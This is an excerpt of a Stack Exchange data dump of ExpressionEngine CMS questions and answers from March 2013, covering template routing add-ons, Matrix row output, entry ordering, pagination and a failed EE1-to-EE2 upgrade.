  <row Id="7006" PostTypeId="2" ParentId="6993" CreationDate="2013-03-05T10:26:15.633" Score="0" Body="&lt;p&gt;I've used a combination of &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/freebie&quot; rel=&quot;nofollow&quot;&gt;Freebie&lt;/a&gt; for this kind of thing in the past. Switchee sets up cases for a segment variable and Freebie makes EE ignore certain words so it doesn't reroute the template or alter how a tag is displaying entries. For instance, using the same template to show a success message after submitting a contact form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this contact form would redirect to the same URL with the word /thanks added upon successful form submission:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable = &quot;{freebie_2}&quot; parse=&quot;inward&quot;}&#xA;  {case value=&quot;thanks&quot;}&#xA;    Thanks for submitting the contact form!&#xA;  {/case}&#xA;  {case default=&quot;yes&quot;}&#xA;    *(contact form code goes here)*&#xA;  {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: You have to use &lt;code&gt;{freebie_2}&lt;/code&gt; instead of &lt;code&gt;{segment_2}&lt;/code&gt; to include words in Freebie's segment list that EE would otherwise ignore.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-05T10:26:15.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7007" PostTypeId="2" ParentId="6993" CreationDate="2013-03-05T10:34:24.647" Score="1" Body="&lt;p&gt;One method (al-be-it a bold one), would be to side-step the EE routing and templating entirely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a new folder at root level within the site, ie. called 'api'. Within that drop a custom CodeIgniter (or anything really) application that would act as your API controller. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chris Imrie built exactly this for an EECI talk. Have a look at - &lt;a href=&quot;https://github.com/ckimrie/ee-data-api&quot; rel=&quot;nofollow&quot;&gt;EE Data API&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the best of my memory, that's a read-only setup, but it wouldn't take a huge leap to extend it to have write functionality too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of having it as a standalone setup, is that you'll keep full control over every part of the api that'd you'd need to implement. Which, depending on the complexity of what you're building might be a good thing. It can be fully restful, have extra authentication, etc.. anything you'd need, and it wouldn't interfere with your existing site.  &lt;/p&gt;&#xA;" OwnerUserId="1111" LastActivityDate="2013-03-05T10:34:24.647" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7008" PostTypeId="2" ParentId="5678" CreationDate="2013-03-05T10:55:58.403" Score="0" Body="&lt;p&gt;Low just released an add-on to address searching Solspace Tags. It's called &lt;a href=&quot;https://github.com/lodewijk/low_search_tag&quot; rel=&quot;nofollow&quot;&gt;Low Search Tag&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the following code to solve my problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;tag_id:vendor_service_tags[]&quot;&amp;gt;&#xA;   &amp;lt;option&amp;gt;&amp;lt;/option&amp;gt;&#xA;   {exp:tag:cloud&#xA;     status=&quot;open&quot;&#xA;     tag_group_name=&quot;vendor_service_tags&quot;&#xA;   }&#xA;     &amp;lt;option value=&quot;{tag_id}&quot;{if tag_id IN ({low_search_tag_id:vendor_service_tags})} selected=&quot;selected&quot;{/if}&amp;gt;{tag} ({count})&amp;lt;/option&amp;gt;&#xA;   {/exp:tag:cloud}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also added the &lt;code&gt;require_all=&quot;tag_id&quot;&lt;/code&gt; parameter to the search form since I have multiple selects for searching multiple tag groups at once.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-05T10:55:58.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7009" PostTypeId="2" ParentId="6903" CreationDate="2013-03-05T12:24:34.780" Score="0" Body="&lt;p&gt;I think that the only elegant way to personalize Content Edit is to modifying the DOM with JS.&#xA;It's possibile to add JS to CP with this hook:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/cp/javascript/index.html&quot; rel=&quot;nofollow&quot;&gt;cp_js_end&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/cp/javascript/index.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/cp/javascript/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="310" LastActivityDate="2013-03-05T12:24:34.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7010" PostTypeId="2" ParentId="1770" CreationDate="2013-03-05T12:55:46.307" Score="1" Body="&lt;p&gt;StackExchange still isn't allowing me to add comments, so I'm doing this as an answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A possible workaround is to add a hidden field to the form that sets the value in the custom field. This isn't the same since it will be set before the email goes out, but at least it's something.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-03-05T12:55:46.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7011" PostTypeId="2" ParentId="6987" CreationDate="2013-03-05T13:00:17.220" Score="3" Body="&lt;p&gt;If an account is automatically activated then the activation email isn't sent. You could use &lt;a href=&quot;http://devot-ee.com/add-ons/registration-emails&quot; rel=&quot;nofollow&quot;&gt;Registration Emails&lt;/a&gt; or if you need more complex email functionality then use &lt;a href=&quot;https://objectivehtml.com/postmaster&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-03-05T13:00:17.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7012" PostTypeId="2" ParentId="6993" CreationDate="2013-03-05T13:02:52.150" Score="2" Body="&lt;p&gt;I've thought more about this. Based on the pre-condition you're building a custom addon to handle this, the only way I can see it working would be to either : &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a dummy top level template group (ie. called 'api' with a sole tag to your custom addon : {exp:restful_api:handle}. From within there you could do any and all the parsing/restful interactions that you'd need. That's a fair amount of work and you'd need to be careful EE's not fighting you with parse orders or other built in core mechanisms.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;An &lt;em&gt;option&lt;/em&gt; would be to try and see if the &lt;strong&gt;core_template_route&lt;/strong&gt; hook fires early enough to be of use to you. If that fires early enough, use that to hook against the calls, do some basic filtering, and if the route appears to be one you want to have you're custom handling (ie. matches foo.bar/api/...) kick into your custom handling. You'd need to kill out any actual following EE handling, but if you're going custom regardless that &lt;em&gt;might&lt;/em&gt; work. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(If the &lt;strong&gt;core_template_route&lt;/strong&gt; hook fires too late, you might need to find an earlier hook. But in principle it's possible, if a bit unusual. )&lt;/p&gt;&#xA;" OwnerUserId="1111" LastActivityDate="2013-03-05T13:02:52.150" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7013" PostTypeId="1" CreationDate="2013-03-05T13:21:20.317" Score="2" ViewCount="132" Body="&lt;p&gt;I am using structure, and therefore, sometimes I have more than the standard 2 segements (template_group/template). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the error page get's triggered whenever the first or the second segment is incorrect, but it's not triggered as soon as there is a third segment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried this on several structure sites and seems to be consistent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also used libraree on these sites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;are you experiencing the same thing?&lt;br&gt;&#xA;is there any way to overcome this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&lt;br&gt;&#xA;stefan&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2013-10-30T12:27:07.080" Title="Error 404 with structure after the 2nd segment" Tags="|segments|error-pages|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="7014" PostTypeId="1" AcceptedAnswerId="7069" CreationDate="2013-03-05T13:58:47.433" Score="2" ViewCount="1513" Body="&lt;p&gt;I know this may be a silly question, but since I'm new to EE, my client has a requirement of creating links within their entries to files uploaded to the file library. Since we are using the URL rewrite feature for the website, I wanted to know if there a way to link to any uploaded file, e.g. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;link_to_file_in_filemanager.pdf&quot;&amp;gt;Click here&amp;lt;/a&amp;gt; to download file. Blah, blah, blah....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="958" LastActivityDate="2013-03-06T09:18:06.500" Title="Creating Links To Uploaded Files (non-Image) Within Entries" Tags="|channel-entries|file-uploads|file-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7015" PostTypeId="2" ParentId="6757" CreationDate="2013-03-05T14:09:50.717" Score="0" Body="&lt;p&gt;What happens when you copy-paste your URL into this tool: &lt;a href=&quot;http://redirectcheck.com/index.php&quot; rel=&quot;nofollow&quot;&gt;http://redirectcheck.com/index.php&lt;/a&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2013-03-05T14:09:50.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7016" PostTypeId="2" ParentId="7014" CreationDate="2013-03-05T14:18:57.100" Score="1" Body="&lt;p&gt;The way you'd usually do this is create a custom field in your channel, something like the native File field, or Assets, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you go to create/edit your entry, you'd upload the file through that field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your template, you'd reference the file using the custom field name.&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;a href=&quot;{file_custom_field_name}&quot;&amp;gt;Click here&amp;lt;/a&amp;gt; to download file.&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-03-05T14:18:57.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7017" PostTypeId="1" CreationDate="2013-03-05T14:28:14.600" Score="1" ViewCount="101" Body="&lt;p&gt;Perhaps I'm simply not understanding the tag's function, but I have an upload directory ({filedir_4}) with about 10 subfolders I made within the Assets interface. I'd like to list the titles and ids of these subfolders, and I'm attempting to do so like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:assets:folders parent_folder=&quot;{filedir_4}&quot;}&#xA;   {folder_name}, {folder_id}&lt;br&gt;&#xA;{/exp:assets:folders}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This returns nothing. However, if I do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:assets:folders recursive=&quot;yes&quot;}&#xA;   {folder_name}, {folder_id}&lt;br&gt;&#xA;{/exp:assets:folders}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does manage to list every folder and subfolder, which is somewhat encouraging, but I'm only looking for the contents of {filedir_4}. What am I missing here? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets 2.0.5 / EE 2.5.5 / PHP 5.3.2&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2013-03-06T03:50:20.173" Title="Assets Folder Pair, parent_folder not responding" Tags="|assets|pixelandtonic|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7018" PostTypeId="2" ParentId="6029" CreationDate="2013-03-05T14:47:53.187" Score="1" Body="&lt;p&gt;If I understand you correctly, you're wanting to run several entirely different websites off of a single install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not allowed by the license. I used to work for a company that used the Multiple Site Manager to run websites this way. This is prohibited by the license, too. It's also a nightmare to manage this way. Separate installs is indeed easier to manage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest looking into how others manage their EE sites. Take a look at &lt;a href=&quot;http://gititon.masugadesign.com/&quot; rel=&quot;nofollow&quot;&gt;Ryan Masuga's Article on Git and EE&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure if you asked about others' workflow here on Stack Exchange, you'd get some great answers.&lt;/p&gt;&#xA;" OwnerUserId="1113" LastActivityDate="2013-03-05T14:47:53.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7019" PostTypeId="1" AcceptedAnswerId="7020" CreationDate="2013-03-05T15:42:15.833" Score="3" ViewCount="2996" Body="&lt;p&gt;I am very familiar with the standard methods for sorting channel entries. However, I have a client that wants more control than the standard alpha ascending / descending or the by entry date. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way that users can drag entries to appear in a specific order or some other way to control the order in which they appear?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-01-19T13:27:09.730" Title="Is there a way to control entry sort order?" Tags="|channel-entries|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7020" PostTypeId="2" ParentId="7019" CreationDate="2013-03-05T16:01:28.157" Score="7" Body="&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-reorder&quot;&gt;Low Reorder&lt;/a&gt; was created for this exact purpose.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-03-05T16:01:28.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7021" PostTypeId="1" AcceptedAnswerId="7039" CreationDate="2013-03-05T16:18:18.640" Score="1" ViewCount="213" Body="&lt;p&gt;I've got a client that needs to be able to manage product inventory / availability separately across a few MSM sites (each site is a national branch of the organization, and some products simply aren't available in some countries). They also need currency localization for each store (USD, GBP, EUR, AUD, NZD, etc), as well as store-specific billing info (eg. different PayPal accounts for each national branch).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's asking a lot, but can any of the EE e-commerce solutions (CartThrob, BrilliantRetail, and Exp:resso Store - or anything else I'm unfamiliar with) handle this kind of MSM setup, even partially?&lt;/p&gt;&#xA;" OwnerUserId="544" LastEditorUserId="150" LastEditDate="2013-03-05T16:37:23.210" LastActivityDate="2013-03-05T20:24:02.747" Title="EE e-Commerce + MSM capabilities" Tags="|expresso-store|cartthrob|multi-site-manager|localization|brilliantretail|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7022" PostTypeId="2" ParentId="6990" CreationDate="2013-03-05T16:28:05.737" Score="3" Body="&lt;p&gt;The reason Playa isn't working is because you need to use a Channel Entries loop. The template parser for Postmaster is pretty complex, and is different than a channel entries loop for many reasons. You should do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot; entry_id=&quot;{parcel:entry_id}&quot;}&#xA;&#xA;    {company_membership_package}&#xA;        {title}&#xA;    {/company_membership_package}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason it doesn't work the other way is because Playa and Matrix rely on hooks triggered by the channel entries tag. And since the Postmaster parse doesn't trigger those hooks, the modules will break unless you use a channel entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will also add, that even if things worked like this, the following syntax is incorrect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parcel:company_membership_package}&#xA;    {title}&#xA;{/company_membership_package}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The correct syntax would be (assumed the field wasn't Playa)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parcel:company_membership_package}&#xA;    {title}&#xA;{/parcel:company_membership_package}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-03-05T16:28:05.737" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7023" PostTypeId="2" ParentId="7019" CreationDate="2013-03-05T16:30:38.103" Score="3" Body="&lt;p&gt;If you are okay without the dragging, you can create a dropdown order field with numbers set up like 01,02,03 etc... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can order the entries by that field. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;10&quot; orderby=&quot;{name_of_field_HERE}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not as elegant as dragging but another way to set things up if you are on a budget. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-05T16:30:38.103" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7024" PostTypeId="1" AcceptedAnswerId="7029" CreationDate="2013-03-05T16:38:45.807" Score="4" ViewCount="191" Body="&lt;p&gt;I've got a Matrix field with say 20 rows (could be 21).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to output those rows within  but i want 2 rows in each .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to accomplish this with the switch tag in Matrix? I'm trying some weird and wacky stuff but nothing is working as i want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So markup i would want is:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;{row 1 content}&#xA;{row 2 content}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;{row 3 content}&#xA;{row 4 content}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;{row 5 content}&#xA;{row 6 content}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;{row 7 content}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is my current template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;downloads&quot; dynamic=&quot;no&quot; disable=&quot;pagination|member_data|categories|category_fields&quot; orderby=&quot;random&quot;}&#xA;    &amp;lt;div&amp;gt;&#xA;{dl-downloads}&#xA;&#xA;        &amp;lt;h4&amp;gt;{dl-download-title}&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;p&amp;gt;{dl-download-desc}&amp;lt;/p&amp;gt;&#xA;        {switch=&quot;|&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&quot;}&#xA;&#xA;{/dl-downloads}&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="42" LastEditorUserId="42" LastEditDate="2013-03-05T17:46:33.850" LastActivityDate="2013-03-05T17:46:33.850" Title="Output matrix rows in sets of two" Tags="|matrix|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7025" PostTypeId="2" ParentId="7024" CreationDate="2013-03-05T16:55:47.970" Score="0" Body="&lt;p&gt;Not sure I get it. You want to output all your rows and wrap all sets of two rows with a div?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will something like this do the trick, or am I mising something?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix}&#xA;    {if &quot;{switch='one|two'}&quot; == &quot;one&quot;}&amp;lt;div class=&quot;row&quot;&amp;gt;{/if}&#xA;    ... something ...&#xA;    {if &quot;{switch='one|two'}&quot; == &quot;two&quot; || &quot;{row_count}&quot; == &quot;{total_rows}&quot;}&amp;lt;/div&amp;gt;{/if}&#xA;{/matrix}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-03-05T16:55:47.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7026" PostTypeId="2" ParentId="6757" CreationDate="2013-03-05T16:58:42.857" Score="3" Body="&lt;p&gt;One possible culprit - if you have Store installed, and have the &lt;code&gt;Require SSL connection for checkout and order tags&lt;/code&gt; setting enabled, it would redirect every time you use Store tags on your site over an unencrypted connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That might explain why it's only happening on some pages.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-03-05T16:58:42.857" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7028" PostTypeId="1" CreationDate="2013-03-05T17:18:45.857" Score="2" ViewCount="358" Body="&lt;p&gt;I need some serious help guys!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running a large and popular website on ee 1.70. I want to upgrade to version 2 so this is what I did:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;copied all files and folders, and made a backup sql file of the database&lt;/li&gt;&#xA;&lt;li&gt;created a new database&lt;/li&gt;&#xA;&lt;li&gt;created a new folder on the server called /test/&lt;/li&gt;&#xA;&lt;li&gt;imported the sql file into the new database&lt;/li&gt;&#xA;&lt;li&gt;copied all folders and files into /test/ folder and changed permissions where necessary. &lt;/li&gt;&#xA;&lt;li&gt;Changed the config file to show the new database location&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When I tried to log on to the control panel from here, I got a table error, and the advice found online was to start the ee2 upgrade. &lt;em&gt;I'm sure this is where things went wonky.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the upgrade instructions by renaming index.php and system and theme folders to _old. I uploaded the ee2 files. I restored some 1.x files. I ran the upgrade and it stopped part way through and gave me an ugly, non-css version of my site. I tried the upgrade again and had the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when I went to my normal, live site, I got nothing but &quot;Site Error: Unable to Load Site Preferences; Invalid Preference Data&quot;! &lt;strong&gt;My site is gone!&lt;/strong&gt; The real one! How did that happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I restored my original files and folders onto the server and am still getting the site error message. How do I get my site back? And how to I continue to upgrade in the /test/ folder if it won't complete?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm panicking :(&lt;/p&gt;&#xA;" OwnerUserId="437" LastActivityDate="2013-03-06T13:44:25.647" Title="Disaster trying to upgrade EE1 to EE2 - need help!" Tags="|ee2|ee1|ee2-upgrades|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7029" PostTypeId="2" ParentId="7024" CreationDate="2013-03-05T17:31:53.277" Score="3" Body="&lt;p&gt;The Matrix &lt;code&gt;{switch}&lt;/code&gt; variable will work for this. Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;    {matrix_field}&#xA;        {row_count}&amp;lt;br&amp;gt;&#xA;        {switch=&quot;|&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&quot;}&#xA;    {/matrix_field}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;    1&#xA;    2&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    3&#xA;    4&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    5&#xA;    6&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    7&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just replace &lt;code&gt;{row_count}&lt;/code&gt; in my example with whatever Matrix column short names you would want to use.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-03-05T17:43:51.040" LastActivityDate="2013-03-05T17:43:51.040" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7030" PostTypeId="1" AcceptedAnswerId="7033" CreationDate="2013-03-05T17:33:47.760" Score="2" ViewCount="180" Body="&lt;p&gt;I have an ExpressionEngine site that takes information entered from an admin, and information entered from users through SafeCracker, and displays that information in a timeline format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The information that is entered has a custom field called {story_year}. We use that field to sort the entries based on the entered date. This means that users can specify a date, as well as admins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because showing hundreds of entries at once takes a long time load, we've introduced pagination. But that pagination breaks it up arbitrarily by amount. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to paginate by {story_year}? Possibly conditionals like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if story_year &amp;gt;= &quot;2010&quot; }&#xA;  {page}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;{if current_page}active{/if}&quot;&amp;gt;&amp;amp;bull;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/page}&#xA;{if:elseif story_year &amp;gt;= &quot;2000&quot;}&#xA;  {page}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;{if current_page}active{/if}&quot;&amp;gt;&amp;amp;bull;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  {/page}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Relevant URLs are here:&#xA;&lt;a href=&quot;http://thinkx.net/clients/manship/index.php/timeline&quot; rel=&quot;nofollow&quot;&gt;http://thinkx.net/clients/manship/index.php/timeline&lt;/a&gt; - the ultimate display of the timeline.&#xA;&lt;a href=&quot;http://thinkx.net/clients/manship/index.php/Timeline/add&quot; rel=&quot;nofollow&quot;&gt;http://thinkx.net/clients/manship/index.php/Timeline/add&lt;/a&gt; - the field entries we sort by.&lt;/p&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2013-03-05T17:39:04.453" Title="How to paginate or organize Expression Engine by custom field data input" Tags="|safecracker|custom-fields|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7031" PostTypeId="2" ParentId="6838" CreationDate="2013-03-05T17:34:46.320" Score="2" Body="&lt;p&gt;From what i understand - the example in the documentation is exactly what your referring to?&#xA;&lt;a href=&quot;http://pixelandtonic.com/playa/docs/celltype&quot; rel=&quot;nofollow&quot;&gt;http://pixelandtonic.com/playa/docs/celltype&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1114" LastActivityDate="2013-03-05T17:34:46.320" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7033" PostTypeId="2" ParentId="7030" CreationDate="2013-03-05T17:39:04.453" Score="0" Body="&lt;p&gt;There isn't a way to do this with native pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the &lt;a href=&quot;http://devot-ee.com/add-ons/yearlist&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;YearList addon&lt;/strong&gt;&lt;/a&gt; to see if you can get something working with that.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fetches the distinct years of all entries in a specified weblog. Can&#xA;  be used to create a year archive list.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The Year Listing plugin is a simple way to get a distinct 4 digit year&#xA;  for your entries. This way you can list out years for archives.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{exp:yearlist channel=&quot;yourchannel&quot; category=&quot;1&quot;}&lt;br&gt;&#xA;        {year}&#xA;  {/exp:yearlist}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;That will return an array of years. Use {year} to print them to the&#xA;  screen and wrap in any markup needed. There are currently no&#xA;  linebreaks or HTML associated with this plugin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can pull the year from the URL and use it with your entries tag to pull entries for just that year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to make sure your entry date year matches your custom field year or you can try hacking this addon to pull from your custom field instead of the entry date field.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-05T17:39:04.453" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
